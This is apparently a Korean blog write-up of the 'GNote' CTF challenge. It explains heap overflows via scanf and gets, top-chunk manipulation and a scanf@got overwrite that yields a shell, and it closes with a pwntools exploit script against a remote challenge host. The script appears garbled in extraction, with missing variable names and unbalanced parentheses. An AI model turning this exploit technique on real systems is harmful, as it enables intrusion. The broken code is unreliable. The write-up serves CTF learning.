hOwDayS 선린 10720

CyberGuardians 3nd GNote 본문

CTF

CyberGuardians 3nd GNote

hOwDayS 2018. 9. 2. 04:25



뭐랄까 재미있는 문제이다



RELRO 

Partial RELRO 

Stack Canary

 Canary Found

 NX

NX Enabled 

 PIE

NO 






main 



1. memo add

2. memo edit

3. memo delete



add


memo의 사이즈는 32 이며 malloc으로 할당한다


A , B , C가 모두 되어있으면

어떤 루틴을 실행한다.


참고적으로 heap 주소랑 스택주소 알려주는데 난 안 써먹었다.


Vuln : Scanf("%s")로 입력 받기 때문에 힙 오버플로우가 일어난다.



edit


메모 인덱스 받아서 있는지 체크한다음에 입력을 받는다

Vuln : gets로 입력받기 때문에 힙 오버플로우



delete



여기서 이 문제가 재미있다고 느꼈다.

delete에서는 free를 시키는게 아닌


힙(메모) 인자를 받아 처리 해준다.


*** 이 루틴이 중요하다 ***


Leak 필요 없다



메모를 만들때 힙 오버플로우를 이용해 Top chunk사이즈를 잘 맞춰주고

Top chunk헤더 밑에 내용을 작성하게 되면

다음 메모는 자동적으로 우리가 입력한 내용을 갖게 된다.


*** 내용은 익스플로잇 코드 참고 ***

그리고 마지막에 할당한 메모를 delete를 시켜주게 되면

delete 루틴에 의해 A에 scanf@got 주소가 들어가게 된다.


edit에서 첫번째 메모에 bonus 주소를 입력하면 scanf@got이 bonus주소로 덮이면서

쉘을 따게 된다



떡하니 있다






1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
 
= remote("13.124.244.98",7777)
#p = process("./GNote")
= ELF("./GNote")
shell = 0x804867b
= 0x804B084
 
def add_memo(idx,content):
    p.sendlineafter(">","1")
    p.recvuntil("stack address : ")
    s_addr = int(p.recv(10),16)
    p.sendlineafter("(1-3) : ",str(idx))
    p.recvuntil("heap address : ")
    h_chunk_addr = int(p.recv(9),16
    p.sendlineafter("Input : ",content)
    return s_addr,h_chunk_addr
 
def edit_memo(idx,content):
    p.sendlineafter(">","3")
    p.sendlineafter("(1-3) : ",str(idx))
    p.sendlineafter("Input : ",content)
 
add_memo(1,"AAAA"* 3 + p32(0xfa1+ p32(A-4+ p32(e.got["__isoc99_scanf"]-8))
add_memo(2,"BBB")
p.sendlineafter(">","2")
p.sendlineafter("(1-3) : ",str(2))
edit_memo(1,p32(shell))
 
p.interactive()
 
cs



'CTF' 카테고리의 다른 글

CyberGuardians 3nd Auto_R0P  (0) 2018.09.02
CyberGuardians 3nd CGhigh  (0) 2018.09.02
RCTF Rnote1  (0) 2018.08.20
yisf 2018 예선 writeup  (0) 2018.08.16
h3xor ctf my_house  (1) 2018.06.17
Comments